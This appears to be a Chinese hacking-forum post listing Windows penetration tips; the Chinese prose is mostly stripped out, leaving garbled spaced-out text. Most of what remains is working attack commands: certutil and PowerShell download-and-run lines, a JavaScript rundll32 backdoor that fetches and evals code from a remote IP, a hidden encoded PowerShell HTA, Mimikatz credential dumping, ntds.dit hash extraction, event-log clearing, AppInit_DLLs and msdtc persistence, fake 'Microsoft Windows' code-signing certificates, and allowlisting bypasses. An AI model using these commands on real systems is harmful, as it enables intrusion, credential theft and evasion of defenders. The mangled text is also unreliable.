[18412] 2021-08-17_渗透技巧总结

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-08-17_渗透技巧总结 H A C K   2 0 2 1 - 0 8 - 1 7 #   , 5 #   , 7 T i p s   1 .   n m a p - s V 使 W i r e s h a r k n c e g . 8 0 0 1 n c 便 h t t p H T T P 4 0 0   B a d   r e q u e s t s D e b i a n W e b S e r v e r A p a c h e T i p s   2 .   W i n d o w s K a l i K a l i : $   n c   - v v   l o c a l h o s t   8 0 0 1     l o c a l h o s t   [ 1 2 7 . 0 . 0 . 1 ]   8 0 0 1   ( ? )   o p e n a s d H T T P / 1 . 1   4 0 0   B a d   R e q u e s t D a t e :   F r i ,   2 5   A u g   2 0 1 7   1 2 : 1 5 : 2 5   G M T S e r v e r :   A p a c h e / 2 . 4 . 2 3   ( D e b i a n ) C o n t e n t - L e n g t h :   3 0 1 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = i s o - 8 8 5 9 - 1 < ! D O C T Y P E   H T M L   P U B L I C   " - / / I E T F / / D T D   H T M L   2 . 0 / / E N " > < h t m l > < h e a d > < t i t l e > 4 0 0   B a d   R e q u e s t < / t i t l e > < / h e a d > < b o d y > < h 1 > B a d   R e q u e s t < / h 1 > < p > Y o u r   b r o w s e r   s e n t   a   r e q u e s t   t h a t   t h i s   s e r v e r   c o u l d   n o t   u n d e r s t a n d . < b r   / > < / p > < h r > < a d d r e s s > A p a c h e / 2 . 4 . 2 3   ( D e b i a n )   S e r v e r   a t   1 2 7 . 0 . 0 . 1   P o r t   8 0 0 1 < / a d d r e s s > < / b o d y > < / h t m l >
W i n d o w s : c e r t u t i l . e x e T i p s   3 .   , 使 使 n e t   u s e 使 n e t   u s e T i p s   4 .   W i n d o w s e g . p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 9 2 / C l i e n t . e x e   1 . e x e c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 9 2 / C l i e n t . e x e   d e l e t e n e t   u s e r   t e s t   t e s t   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   / a d d r e g   a d d   h k l m S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s S y s t e m   / v   L o c a l A c c o u n t T o k e n F i l t e r P o l i c y   / t   R E G _ D W O R D   / d   1 n e t   u s e   1 9 2 . 1 6 8 . 1 . 1 9 5   t e s t   / u : t e s t w e v t u t i l   e l   > 1 . t x t w e v t u t i l   g l i   " w i n d o w s   p o w e r s h e l l " c r e a t i o n T i m e :   2 0 1 6 - 1 1 - 2 8 T 0 6 : 0 1 : 3 7 . 9 8 6 Z l a s t A c c e s s T i m e :   2 0 1 6 - 1 1 - 2 8 T 0 6 : 0 1 : 3 7 . 9 8 6 Z l a s t W r i t e T i m e :   2 0 1 7 - 0 8 - 0 8 T 0 8 : 0 1 : 2 0 . 9 7 9 Z f i l e S i z e :   1 1 1 8 2 0 8 a t t r i b u t e s :   3 2 n u m b e r O f L o g R e c o r d s :   1 2 2 8 o l d e s t R e c o r d N u m b e r :   1
- W i n d o w s T i p s   5 .   W i n d o w s T e r m i n a t e T h r e a d 线 使 W i n d o w s   E v e n t   L o g P o w e r s h e l l : h t t p s : / / g i t h u b . c o m / h l l d z / I n v o k e - P h a n t 0 m C + + : h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / W i n d w o s - E v e n t L o g - B y p a s s - W i n d o w s A P I - N t Q u e r y I n f o r m a t i o n T h r e a d I _ Q u e r y T a g I n f o r m a t i o n W i n d w o s T i p s   6 .   W i n 7 W i n d o w s   S e r v e r   2 0 0 8   R 2 g l o b a l A P I h o o k s h t t p s : / / g i t h u b . c o m / s u b T e e / A p p I n i t G l o b a l H o o k s - M i m i k a t z c l d r . e x e c l d r . d l l c l d r . d l l c l d r . e x e P r o c e s s   E x p l o r e r c l d r . e x e T a s k l i s t . e x e c l d r . e x e 6 4 w e v t u t i l   q e   / f : t e x t   " w i n d o w s   p o w e r s h e l l " w e v t u t i l   c l   " w i n d o w s   p o w e r s h e l l " C : P r o g r a m D a t a M i c r o s o f t H e l p L i b r a r y r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   R e q u i r e S i g n e d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   L o a d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   1   / f r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   A p p I n i t _ D L L s   / t   R E G _ S Z   / d   " C : P r o g r a m D a t a M i c r o s o f t H e l p L i b r a r y c l d r . d l l "   / f
g l o b a l A P I h o o k s W i n 7 T i p s   7 .   e x e c o m e x e c o m t e s t . e x e t e s t . c o m c m d t e s t ( ) c o m t e s t . c o m C O M e x e c o m A   d i r t y   w a y   o f   t r i c k i n g   u s e r s   t o   b y p a s s   U A C T i p s   8 .   W i n d o w s R o o t . c e r R o o t . p f x R o o t . p v k R o o t . s p c t e s t . e x e c m d l o c a l m a c h i n e A   d i r t y   w a y   o f   t r i c k i n g   u s e r s   t o   b y p a s s   U A C T i p s   9 .   h t a v b s p o w e r s h e l l t e s t . h t a r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   R e q u i r e S i g n e d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   L o a d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   1   / f r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   A p p I n i t _ D L L s   / t   R E G _ S Z   / d   " C : P r o g r a m D a t a M i c r o s o f t H e l p L i b r a r y c l d r x 6 4 . d l l "   / f r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   R e q u i r e S i g n e d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 r e g   a d d   " h k l m S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   L o a d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   1   / f r e g   a d d   " h k l m S O F T W A R E W o w 6 4 3 2 N o d e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   A p p I n i t _ D L L s   / t   R E G _ S Z   / d   " C : P r o g r a m D a t a M i c r o s o f t H e l p L i b r a r y c l d r . d l l "   / f m a k e c e r t   - n   " C N = M i c r o s o f t   W i n d o w s "   - r   - s v   R o o t . p v k   R o o t . c e r c e r t 2 s p c   R o o t . c e r   R o o t . s p c p v k 2 p f x   - p v k   R o o t . p v k   - p i   1 2 3 4 5 6 7 8 p a s s w o r d   - s p c   R o o t . s p c   - p f x   R o o t . p f x   - f s i g n t o o l   s i g n   / f   R o o t . p f x   / p   1 2 3 4 5 6 7 8 p a s s w o r d   t e s t . e x e c e r t m g r . e x e   - a d d   - c   R o o t . c e r   - s   - r   l o c a l m a c h i n e   r o o t
B y p a s s   M c A f e e   A p p l i c a t i o n   C o n t r o l C o d e   E x e c u t i o n T i p s   1 0 .   c # d l l   &   r u n d l l 3 2 . e x e r e g s v r 3 2 d l l c # U n m a n a g e d E x p o r t s c # d l l d l l . N E T c + + d l l r u n d l l 3 2 . e x e r e g s v r 3 2 d l l d l l C o d e   E x e c u t i o n   o f   R e g s v r 3 2 . e x e T i p s   1 1 .   W i n d o w s c p l D L L c p l C P L A p p l e t ( c ) ( 1 ) ( 2 ) c m d ( 3 ) c m d ( 4 ) v b s < H T M L >   < H E A D >   < s c r i p t   l a n g u a g e = " V B S c r i p t " >         S e t   W s h S h e l l   =   C r e a t e O b j e c t ( " W S c r i p t . S h e l l " )         C o n n e c t = " p o w e r s h e l l   - n o p   - w i n d o w s   h i d d e n   - E   Y w B h A G w A Y w A u A G U A e A B l A A = = "         W s h S h e l l . R u n   C o n n e c t ,   4 ,   t r u e < / s c r i p t > < H T A : A P P L I C A T I O N   I D = " t e s t " W I N D O W S T A T E   =   " m i n i m i z e " > < / H E A D >   < B O D Y >   < / B O D Y >   < / H T M L > r u n d l l 3 2   s h e l l 3 2 . d l l , C o n t r o l _ R u n D L L   t e s t . c p l c o n t r o l   t e s t . c p l D i m   o b j S e t   o b j   =   C r e a t e O b j e c t ( " S h e l l . A p p l i c a t i o n " ) o b j . C o n t r o l P a n e l I t e m ( " t e s t . c p l " )
( 5 ) j s C P L T i p s   1 2 .   W i n d o w s c m d r u n d l l 3 2 S h e l l S e r v e r : h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / J a v a s c r i p t - B a c k d o o r / b l o b / m a s t e r / J S R a t . p s 1 C l i e n t : R A T v b s j s e x e d l l s h e l l c o d e J a v a S c r i p t   B a c k d o o r J a v a S c r i p t   P h i s h i n g T i p s   1 3 .   d u m p p u t t y & p a g e a n t w i n d o w s L i n u x M e m o r y   D u m p T i p s   1 4 .   V i s u a l   S t u d i o V i s u a l   C + + . v c x p r o j V i s u a l   B a s i c . v b p r o j V i s u a l   F # . f s p r o j 使 V i s u a l   S t u d i o P a y   c l o s e   a t t e n t i o n   t o   y o u r   d o w n l o a d   c o d e V i s u a l   S t u d i o   t r i c k   t o   r u n   c o d e   w h e n   b u i l d i n g v a r   a   =   n e w   A c t i v e X O b j e c t ( " S h e l l . A p p l i c a t i o n " ) ; a . C o n t r o l P a n e l I t e m ( " c : t e s t t e s t . c p l " ) ; r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W i n H t t p . W i n H t t p R e q u e s t . 5 . 1 " ) ; w = n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) ; t r y { v = w . R e g R e a d ( " H K C U S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n I n t e r n e t % 2 0 S e t t i n g s P r o x y S e r v e r " ) ; q = v . s p l i t ( " = " ) [ 1 ] . s p l i t ( " ; " ) [ 0 ] ; h . S e t P r o x y ( 2 , q ) ; } c a t c h ( e ) { } h . O p e n ( " G E T " , " h t t p : / / 1 9 2 . 1 6 8 . 1 7 4 . 1 3 1 / c o n n e c t " , f a l s e ) ; t r y { h . S e n d ( ) ; B = h . R e s p o n s e T e x t ; e v a l ( B ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; }
T i p s   1 5 .   3 2 6 4 W i n d o w s 访 H K L M S o f t w a r e H K L M S o f t w a r e W o w 6 4 3 2 N o d e 访 c : w i n d o w s S y s n a t i v e     c : w i n d o w s s y s t e m 3 2 访 c : w i n d o w s s y s t e m 3 2     c : w i n d o w s S y s W O W 6 4 3 2 6 4 T i p s   1 6 .   W i n d o w s h a s h 1 n t d s . d i t 使 N i n j a C o p y h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / N i n j a C o p y h a s h 使 q u a r k s p w d u m p h t t p s : / / g i t h u b . c o m / q u a r k s l a b / q u a r k s p w d u m p 2 使 p o w e r s h e l l D S I n t e r n a l s   P o w e r S h e l l   M o d u l e h t t p s : / / w w w . d s i n t e r n a l s . c o m / w p - c o n t e n t / u p l o a d s / D S I n t e r n a l s _ v 2 . 8 . z i p W i n d o w s   P o w e r S h e l l   3 . 0   o r   3 . 0 + . N E T   F r a m e w o r k   4 . 0   o r   4 . 0 + h a s h P o w e r s h e l l H a s h T i p s   1 7 .   W i n d o w s W i n d o w s   S e r v e r   2 0 1 2 使 m i m i k a t z W i n d o w s   S e r v e r   2 0 0 8 W d i g e s t   A u t h c m d : e s e n t u t l   / p   / o   n t d s . d i t Q u a r k s P w D u m p . e x e   - d h b   - h i s t   - n t   c t e s t n t d s . d i t   - o   c t e s t l o g . t x t
o r p o w e r s h e l l : D u m p   C l e a r - T e x t   P a s s w o r d   a f t e r   K B 2 8 7 1 9 9 7   i n s t a l l e d T i p s   1 8 .   H o o k   P a s s w o r d C h a n g e N o t i f y H o o k   P a s s w o r d C h a n g e N o t i f y T i p s   1 9 .   使 p a s s - t h e - h a s h L o c a l   A d m i n i s t r a t o r   P a s s w o r d   S o l u t i o n T i p s   2 0 .   p o w e r s h e l l d l l h t t p s : / / g i t h u b . c o m / F u z z y S e c u r i t y / P o w e r S h e l l - S u i t e / b l o b / m a s t e r / G e t - E x p o r t s . p s 1 S t u d y   N o t e s   W e e k l y   N o . 3 ( U s e   o d b c c o n f   t o   l o a d   d l l   &   G e t - E x p o r t s   &   E T W   U S B   K e y l o g g e r ) T i p s   2 1 .   p a y l o a d 2 6 0 p a y l o a d p a y l o a d T i p s   2 2 .   3 2 6 4 P O C r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f S e t - I t e m P r o p e r t y   - P a t h   H K L M : S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   - N a m e   U s e L o g o n C r e d e n t i a l   - T y p e   D W O R D   - V a l u e   1 G e t - E x p o r t s   - D l l P a t h   c : W i n d o w s s y s t e m 3 2 d i m s j o b . d l l   - E x p o r t s T o C p p   C : t e s t e x p o r t . t x t
h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / C r e a t e R e m o t e T h r e a d / b l o b / m a s t e r / C r e a t e R e m o t e T h r e a d 3 2 t o 6 4 . c p p 3 2 6 4 T i p s   2 3 .   s y s t e m 使 s y t e m : 1 . 2 . 1 使 S e l e c t M y P a r e n t . e x e h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / F r o m - S y s t e m - a u t h o r i t y - t o - M e d i u m - a u t h o r i t y / b l o b / m a s t e r / P r o c e s s a u t h o r i t y . c p p 2 使 m s d t c 使 m s d t c s y s t e m o c i . d l l c m d m s d t c   - i n s t a l l c a l c . e x e h i g h U s e   m s d t c   t o   m a i n t a i n   p e r s i s t e n c e T i p s   2 4 .   W i n d o w s W i n P c a p W i n d o w s 使 使 n m a p M a s s c a n W i n d o w s M a s s c a n N m a p T i p s   2 5 .   W i n d o w s m i m i k a t z 1 p o w e r s h e l l 2 I n s t a l l U t i l . e x e p o w e r s h e l l   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / I n v o k e - M i m i k a t z . p s 1 ' ) ;   I n v o k e - M i m i k a t z   - D u m p C r e d s " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 c s c . e x e   / u n s a f e   / o u t : P E L o a d e r . e x e   P E L o a d e r . c s C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   P E L o a d e r . e x e
3 6 0 3 r e g s v r 3 2 . e x e h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / s u b T e e / c 3 d 5 0 3 0 b b 9 9 a a 3 f 9 6 b f a 5 0 7 c 1 c 1 8 4 5 0 4 / r a w / 2 4 d c 0 f 9 3 f 1 e b d d a 7 c 4 0 1 d d 3 8 9 0 2 5 9 f a 7 0 d 2 3 f 7 5 b / r e g s v r 3 2 - k a t z . c s m i m i k a t z d l l r e g s v r 3 2 m i m k a t z C o d e   E x e c u t i o n   o f   R e g s v r 3 2 . e x e 4 m s b u i l d . e x e x m l a . x m l h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / m s b u i l d - i n l i n e - t a s k / b l o b / m a s t e r / e x e c u t e s % 2 0 m i m i k a t z . x m l c m d U s e   M S B u i l d   T o   D o   M o r e 5 c s i . e x e S t u d y   N o t e s   W e e k l y   N o . 4 ( U s e   t r a c k e r   t o   l o a d   d l l   &   U s e   c s i   t o   b y p a s s   U M C I   &   E x e c u t e   C #   f r o m   X S L T   f i l e ) 6 j s / v b s h t t p s : / / g i s t . g i t h u b . c o m / s u b T e e / 5 c 6 3 6 b 8 7 3 6 5 3 0 f b 2 0 c 3 d h t t p s : / / g i s t . g i t h u b . c o m / s u b T e e / b 3 0 e 0 b c c 7 6 4 5 c 7 9 0 f c d 9 9 3 c f d 0 a d 6 2 2 f J S . N e t T i p s   2 6 .   W i n d o w s p a y l o a d 1 W M I r u n d l l 3 2   k a t z . d l l , E n t r y P o i n t   l o g   c o f f e e   e x i t C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 m s b u i l d . e x e   e x e c u t e s   a . x m l " C : P r o g r a m   F i l e s   ( x 8 6 ) M S B u i l d 1 4 . 0 B i n c s i . e x e "   c : t e s t k a t z . c s x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则